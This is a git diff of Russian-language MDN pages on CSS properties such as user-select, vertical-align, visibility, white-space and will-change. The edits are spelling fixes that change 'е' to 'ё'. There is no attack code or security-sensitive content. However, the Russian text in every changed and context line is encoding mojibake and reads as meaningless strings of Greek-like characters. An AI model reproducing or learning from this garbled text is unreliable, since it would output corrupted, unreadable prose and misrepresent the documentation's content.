translation_of: Web/CSS/user-select
---
@@ -62,7 +62,7 @@ user-select: unset;
<dt><code>text</code></dt>
<dd>ВСкст ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π±Ρ€Π°Π½ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ.</dd>
<dt><code>all</code></dt>
- <dd>Π’ HTML-Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π΅, Ссли Π΄Π²ΠΎΠΉΠ½ΠΎΠΉ ΠΊΠ»ΠΈΠΊ ΠΈΠ»ΠΈ контСкстный ΠΊΠ»ΠΈΠΊ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ΅Π» Π²ΠΎ Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠΌ элСмСнтС, Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π±Ρ€Π°Π½ΠΎ всС содСрТимоС ΠΊΠΎΡ€Π΅Π½Π½ΠΎΠ³ΠΎ ΠΏΡ€Π΅Π΄ΠΊΠ° с этим Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ свойства.</dd>
+ <dd>Π’ HTML-Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π΅, Ссли Π΄Π²ΠΎΠΉΠ½ΠΎΠΉ ΠΊΠ»ΠΈΠΊ ΠΈΠ»ΠΈ контСкстный ΠΊΠ»ΠΈΠΊ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΡ‘Π» Π²ΠΎ Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠΌ элСмСнтС, Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π±Ρ€Π°Π½ΠΎ всС содСрТимоС ΠΊΠΎΡ€Π΅Π½Π½ΠΎΠ³ΠΎ ΠΏΡ€Π΅Π΄ΠΊΠ° с этим Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ свойства.</dd>
<dt><code>contain</code></dt>
<dd>ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ Π½Π°Ρ‡Π°Ρ‚ΡŒ Π²Ρ‹Π±ΠΎΡ€ Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта; ΠΎΠ΄Π½Π°ΠΊΠΎ, Π²Ρ‹Π±ΠΎΡ€ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒΡΡ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π³Ρ€Π°Π½ΠΈΡ† Π΄Π°Π½Π½ΠΎΠ³ΠΎ элСмСнта.</dd>
<dt><code>element</code>{{non-standard_inline}} (IE-specific alias)</dt>
diff --git a/files/ru/web/css/using_css_custom_properties/index.html b/files/ru/web/css/using_css_custom_properties/index.html
index 65fd104311..064d0fda66 100644
--- a/files/ru/web/css/using_css_custom_properties/index.html
+++ b/files/ru/web/css/using_css_custom_properties/index.html
@@ -35,12 +35,12 @@ translation_of: Web/CSS/Using_CSS_custom_properties
</pre>
<div class="note">
-<p><strong>Note:</strong> Π’ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½Π΅ΠΉ спСцификации прСфикс для ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… Π±Ρ‹Π» <code>var-</code> , Π½ΠΎ ΠΏΠΎΠ·ΠΆΠ΅ Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ Π½Π° <code>--</code>. Firefox 31 ΠΈ Π²Ρ‹ΡˆΠ΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ Π½ΠΎΠ²ΠΎΠΉ спСцификации.({{bug(985838)}})</p>
+<p><strong>Note:</strong> Π’ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½Π΅ΠΉ спСцификации прСфикс для ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… Π±Ρ‹Π» <code>var-</code> , Π½ΠΎ ΠΏΠΎΠ·ΠΆΠ΅ Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½ Π½Π° <code>--</code>. Firefox 31 ΠΈ Π²Ρ‹ΡˆΠ΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ Π½ΠΎΠ²ΠΎΠΉ спСцификации.({{bug(985838)}})</p>
</div>
<h2 id="ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ_шаг_с_CSS_ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌΠΈ">ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ шаг с CSS ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌΠΈ</h2>
-<p>НачнСм с этого простого CSS, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ окрасит элСмСнты Ρ€Π°Π·Π½Ρ‹Ρ… классов ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΌ Ρ†Π²Π΅Ρ‚ΠΎΠΌ:</p>
+<p>Начнём с этого простого CSS, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ окрасит элСмСнты Ρ€Π°Π·Π½Ρ‹Ρ… классов ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΌ Ρ†Π²Π΅Ρ‚ΠΎΠΌ:</p>
<div id="sample1">
<pre class="brush:css; highlight:[3,20,26,32]">.one {
diff --git a/files/ru/web/css/vertical-align/index.html b/files/ru/web/css/vertical-align/index.html
index 2ff298b02e..2a4ae09c70 100644
--- a/files/ru/web/css/vertical-align/index.html
+++ b/files/ru/web/css/vertical-align/index.html
@@ -89,7 +89,7 @@ p {
&lt;td style="vertical-align: middle"&gt;middle&lt;/td&gt;
&lt;td style="vertical-align: bottom"&gt;bottom&lt;/td&gt;
&lt;td&gt;
- &lt;p&gt;БущСствуСт тСория, которая ΡƒΡ‚Π²Π΅Ρ€ΠΆΠ΄Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Ссли ΠΎΠ΄Π½Π°ΠΆΠ΄Ρ‹ ΠΊΡ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Π΄ΠΎΠΏΠΎΠ΄Π»ΠΈΠ½Π½ΠΎ выяснит, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ ΠΈ для Ρ‡Π΅Π³ΠΎ Π½ΡƒΠΆΠ½Π° ВсСлСнная, ΠΎΠ½Π° тотчас ΠΆΠ΅ исчСзнСт, ΠΈ вмСсто Π½Π΅Π΅ появится Π½Π΅Ρ‡Ρ‚ΠΎ Π΅Ρ‰Π΅ Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€ΠΈΡ‡ΡƒΠ΄Π»ΠΈΠ²ΠΎΠ΅ ΠΈ нСобъяснимоС.&lt;/p&gt;
+ &lt;p&gt;БущСствуСт тСория, которая ΡƒΡ‚Π²Π΅Ρ€ΠΆΠ΄Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Ссли ΠΎΠ΄Π½Π°ΠΆΠ΄Ρ‹ ΠΊΡ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Π΄ΠΎΠΏΠΎΠ΄Π»ΠΈΠ½Π½ΠΎ выяснит, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ ΠΈ для Ρ‡Π΅Π³ΠΎ Π½ΡƒΠΆΠ½Π° ВсСлСнная, ΠΎΠ½Π° тотчас ΠΆΠ΅ исчСзнСт, ΠΈ вмСсто Π½Π΅Ρ‘ появится Π½Π΅Ρ‡Ρ‚ΠΎ Π΅Ρ‰Ρ‘ Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€ΠΈΡ‡ΡƒΠ΄Π»ΠΈΠ²ΠΎΠ΅ ΠΈ нСобъяснимоС.&lt;/p&gt;
&lt;p&gt;БущСствуСт ΠΈ другая тСория, согласно ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ это ΡƒΠΆΠ΅ ΡΠ»ΡƒΡ‡ΠΈΠ»ΠΎΡΡŒ.&lt;/p&gt;</pre>
<pre class="hidden brush: css notranslate">table {
@@ -119,7 +119,7 @@ td {
<h2 id="Бинтаксис">Бинтаксис</h2>
-<p>Бвойство <code>vertical-align</code> задаСтся ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… Π½ΠΈΠΆΠ΅.</p>
+<p>Бвойство <code>vertical-align</code> задаётся ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… Π½ΠΈΠΆΠ΅.</p>
<h3 id="ЗначСния_для_строчных_элСмСнтов">ЗначСния для строчных элСмСнтов</h3>
@@ -157,7 +157,7 @@ td {
<dd>Π’Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π΅Ρ‚ Π½ΠΈΠΆΠ½ΠΈΠΉ ΠΊΡ€Π°ΠΉ элСмСнта ΠΈ Π΅Π³ΠΎ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΎΠ² с Π½ΠΈΠΆΠ½ΠΈΠΌ ΠΊΡ€Π°Π΅ΠΌ всСй строки.</dd>
</dl>
-<p>Для элСмСнтов, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π½Π΅Ρ‚ Π±Π°Π·ΠΎΠ²ΠΎΠΉ Π»ΠΈΠ½ΠΈΠΈ, вмСсто Π½Π΅Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ниТняя Π³Ρ€Π°Π½ΠΈΡ†Π° внСшнСго отступа (margin).</p>
+<p>Для элСмСнтов, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π½Π΅Ρ‚ Π±Π°Π·ΠΎΠ²ΠΎΠΉ Π»ΠΈΠ½ΠΈΠΈ, вмСсто Π½Π΅Ρ‘ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ниТняя Π³Ρ€Π°Π½ΠΈΡ†Π° внСшнСго отступа (margin).</p>
<h3 id="ЗначСния_для_ячССк_Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹">ЗначСния для ячССк Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹</h3>
diff --git a/files/ru/web/css/visibility/index.html b/files/ru/web/css/visibility/index.html
index 3f3a053076..4d27fd4dc3 100644
--- a/files/ru/web/css/visibility/index.html
+++ b/files/ru/web/css/visibility/index.html
@@ -37,7 +37,7 @@ visibility: unset;
<h3 id="ЗначСния">ЗначСния</h3>
<ul>
- <li>Для строк, столбцов, Π³Ρ€ΡƒΠΏΠΏ столбцов ΠΈ Π³Ρ€ΡƒΠΏΠΏ строк Π² Ρ‚Π°Π±Π»ΠΈΡ†Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½Ρ‹ (ΠΊΠ°ΠΊ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>{{Cssxref("display")}}: none</code> ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Π½ΠΎΠ³ΠΎ ΠΊ столбцу/строкС Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹). Однако, Ρ€Π°Π·ΠΌΠ΅Ρ€ Π΄Ρ€ΡƒΠ³ΠΈΡ… строк ΠΈ столбцов Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒ Π²Ρ‹Ρ‡ΠΈΡΠ»ΡΡ‚ΡŒΡΡ Ρ‚Π°ΠΊ, словно скрытыС строки/столбцы ΠΏΡ€ΠΈΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚. Π­Ρ‚ΠΎ создано для быстрого удалСния строк/столбцов ΠΈΠ· Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ Π±Π΅Π· Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ вычислСния ΡˆΠΈΡ€ΠΈΠ½Ρ‹ ΠΈ высоты частСй Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹.</li>
+ <li>Для строк, столбцов, Π³Ρ€ΡƒΠΏΠΏ столбцов ΠΈ Π³Ρ€ΡƒΠΏΠΏ строк Π² Ρ‚Π°Π±Π»ΠΈΡ†Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½Ρ‹ (ΠΊΠ°ΠΊ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>{{Cssxref("display")}}: none</code> ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΊ столбцу/строкС Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹). Однако, Ρ€Π°Π·ΠΌΠ΅Ρ€ Π΄Ρ€ΡƒΠ³ΠΈΡ… строк ΠΈ столбцов Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒ Π²Ρ‹Ρ‡ΠΈΡΠ»ΡΡ‚ΡŒΡΡ Ρ‚Π°ΠΊ, словно скрытыС строки/столбцы ΠΏΡ€ΠΈΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚. Π­Ρ‚ΠΎ создано для быстрого удалСния строк/столбцов ΠΈΠ· Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ Π±Π΅Π· Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ вычислСния ΡˆΠΈΡ€ΠΈΠ½Ρ‹ ΠΈ высоты частСй Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹.</li>
<li>Для XUL элСмСнтов Ρ€Π°Π·ΠΌΠ΅Ρ€ всСгда Ρ€Π°Π²Π΅Π½ 0, нСзависимо ΠΎΡ‚ Π΄Ρ€ΡƒΠ³ΠΈΡ… стилСй, Π²Π»ΠΈΡΡŽΡ‰ΠΈΡ… Π½Π° Ρ€Π°Π·ΠΌΠ΅Ρ€, хотя отступы ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°ΡŽΡ‚ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒΡΡ.</li>
<li>Для Π΄Ρ€ΡƒΠ³ΠΈΡ… элСмСнтов <code>collapse</code> обрабатываСтся Ρ‚Π°ΠΊΠΆΠ΅, ΠΊΠ°ΠΊ <code>hidden</code></li>
</ul>
diff --git a/files/ru/web/css/visual_formatting_model/index.html b/files/ru/web/css/visual_formatting_model/index.html
index 9faa4e62f5..6c756b85ba 100644
--- a/files/ru/web/css/visual_formatting_model/index.html
+++ b/files/ru/web/css/visual_formatting_model/index.html
@@ -18,7 +18,7 @@ original_slug: Web/Guide/CSS/Visual_formatting_model
<li>Π΄Ρ€ΡƒΠ³ΠΎΠΉ внСшнСй ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ.</li>
</ul>
-<p>Бокс отобраТаСтся ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊΡ€Π°Π΅Π² <em>содСрТащСго Π΅Π³ΠΎ Π±Π»ΠΎΠΊΠ°.Β </em>Как ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, бокс опрСдСляСт Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π±Π»ΠΎΠΊ для своих ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΎΠ². Однако, стоит Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ бокс Π½Π΅ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ содСрТащим Π΅Π³ΠΎ Π±Π»ΠΎΠΊΠΎΠΌ. Π’Π°ΠΊΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ слоСв, выходящих Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Ρ‹ своих содСрТащих Π±Π»ΠΎΠΊΠΎΠ², называСтся <em>ΠΏΠ΅Ρ€Π΅ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ</em>Β (<em>overflow).</em></p>
+<p>Бокс отобраТаСтся ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊΡ€Π°Ρ‘Π² <em>содСрТащСго Π΅Π³ΠΎ Π±Π»ΠΎΠΊΠ°.Β </em>Как ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, бокс опрСдСляСт Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π±Π»ΠΎΠΊ для своих ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΎΠ². Однако, стоит Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ бокс Π½Π΅ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ содСрТащим Π΅Π³ΠΎ Π±Π»ΠΎΠΊΠΎΠΌ. Π’Π°ΠΊΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ слоёв, выходящих Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Ρ‹ своих содСрТащих Π±Π»ΠΎΠΊΠΎΠ², называСтся <em>ΠΏΠ΅Ρ€Π΅ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ</em>Β (<em>overflow).</em></p>
<h2 id="ГСнСрация_бокса">ГСнСрация бокса</h2>
diff --git a/files/ru/web/css/white-space/index.html b/files/ru/web/css/white-space/index.html
index 7cd0e47ec5..a751f353b6 100644
--- a/files/ru/web/css/white-space/index.html
+++ b/files/ru/web/css/white-space/index.html
@@ -62,7 +62,7 @@ white-space: unset;
</dd>
</dl>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΉ Π½ΠΈΠΆΠ΅ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ свойства <code>white-space</code>:</p>
+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΉ Π½ΠΈΠΆΠ΅ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ свойства <code>white-space</code>:</p>
<table class="standard-table">
<thead>
diff --git a/files/ru/web/css/will-change/index.html b/files/ru/web/css/will-change/index.html
index 916c5d4263..cb52d6e9b0 100644
--- a/files/ru/web/css/will-change/index.html
+++ b/files/ru/web/css/will-change/index.html
@@ -26,16 +26,16 @@ will-change: unset;</code></pre>
<ul>
<li>
- <p id="Don't_apply_will-change_to_too_many_elements"><em>НС примСняйтС will-change ΠΊ Π±ΠΎΠ»ΡŒΡˆΠΎΠΌΡƒ числу элСмСнтов.</em> Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈ Ρ‚Π°ΠΊ пытаСтся ΠΈΠ·ΠΎ всСх сил всё ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ. НСкоторыС тяТСлыС ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ ΡΡΡ‹Π»Π°ΡŽΡ‰ΠΈΠ΅ΡΡ Π½Π°Β <code>will-change</code>Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΌΠ½ΠΎΠ³ΠΎ Π°ΠΏΠΏΠ°Ρ€Π°Ρ‚Π½Ρ‹Ρ… мощностСй, ΠΈ Ссли Π·Π»ΠΎΡƒΠΏΠΎΡ‚Ρ€Π΅Π±Π»ΡΡ‚ΡŒ этим, это ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ замСдлСнию Ρ€Π°Π±ΠΎΡ‚Ρ‹ страницы ΠΈ ΠΏΠΎΡ‚Ρ€Π΅Π±Π»Π΅Π½ΠΈΡŽ большого количСства рСсурсов.</p>
+ <p id="Don't_apply_will-change_to_too_many_elements"><em>НС примСняйтС will-change ΠΊ Π±ΠΎΠ»ΡŒΡˆΠΎΠΌΡƒ числу элСмСнтов.</em> Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈ Ρ‚Π°ΠΊ пытаСтся ΠΈΠ·ΠΎ всСх сил всё ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ. НСкоторыС тяТёлыС ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ ΡΡΡ‹Π»Π°ΡŽΡ‰ΠΈΠ΅ΡΡ Π½Π°Β <code>will-change</code>Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΌΠ½ΠΎΠ³ΠΎ Π°ΠΏΠΏΠ°Ρ€Π°Ρ‚Π½Ρ‹Ρ… мощностСй, ΠΈ Ссли Π·Π»ΠΎΡƒΠΏΠΎΡ‚Ρ€Π΅Π±Π»ΡΡ‚ΡŒ этим, это ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ замСдлСнию Ρ€Π°Π±ΠΎΡ‚Ρ‹ страницы ΠΈ ΠΏΠΎΡ‚Ρ€Π΅Π±Π»Π΅Π½ΠΈΡŽ большого количСства рСсурсов.</p>
</li>
<li>
<p><em>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΡƒΠΌΠ΅Ρ€Π΅Π½Π½ΠΎ.</em> ΠžΠ±Ρ‹Ρ‡Π½ΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ для ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΉ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ выполняСт Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΡŽ ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ скорСС ΠΈ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ΅ состояниС. Но Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅Β <code>will-change</code> прямо Π² Ρ„Π°ΠΉΠ»Π΅ стилСй прСдполагаСт, Ρ‡Ρ‚ΠΎ ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ элСмСнт всСгда находится Π² Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΡˆΠ°Π³Π°Ρ… ΠΎΡ‚ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉΒ ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ для Π½Π΅Π³ΠΎ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΡŽ Π³ΠΎΡ€Π°Π·Π΄ΠΎΒ Π±ΠΎΠ»ΡŒΡˆΠ΅ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. Π’Π°ΠΊ Ρ‡Ρ‚ΠΎ, Π±Ρ‹Π»ΠΎ Π±Ρ‹ Ρ…ΠΎΡ€ΠΎΡˆΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ ΠΈ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒΒ <code>will-change</code>Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ скрипт Π΄ΠΎ ΠΈ послС Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»ΠΈΒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΡ.</p>
</li>
<li>
- <p><em>НС примСняйтС will-change ΠΊ элСмСнтам для выполнСния ΠΏΡ€Π΅ΠΆΠ΄Π΅Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ</em>. Если ваша страница Ρ…ΠΎΡ€ΠΎΡˆΠΎ отрабатываСтся, Π½Π΅ примСняйтС <code>will-change</code> свойство ΠΊ элСмСнту Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ΠΆΠ°Ρ‚ΡŒ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ большС скорости. <code>will-change</code> ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для использования Π² ΠΊΡ€Π°ΠΉΠ½Π΅ΠΌ случаС, для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ. Π•Π³ΠΎ Π½Π΅ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для прСдвидСния ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ. Π§Ρ€Π΅Π·ΠΌΠ΅Ρ€Π½ΠΎΠ΅ использованиС <code>will-change</code> ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊΒ ΠΈΠ·Π»ΠΈΡˆΠ½Π΅ΠΌΡƒ ΠΏΠΎΡ‚Ρ€Π΅Π±Π»Π΅Π½ΠΈΡŽ памяти и Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ тяТСлый Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³ Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΈΡ‚ΡŒΡΡ ΠΊ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌ измСнСниям. Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ ΡƒΡ…ΡƒΠ΄ΡˆΠ΅Π½ΠΈΡŽ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ.</p>
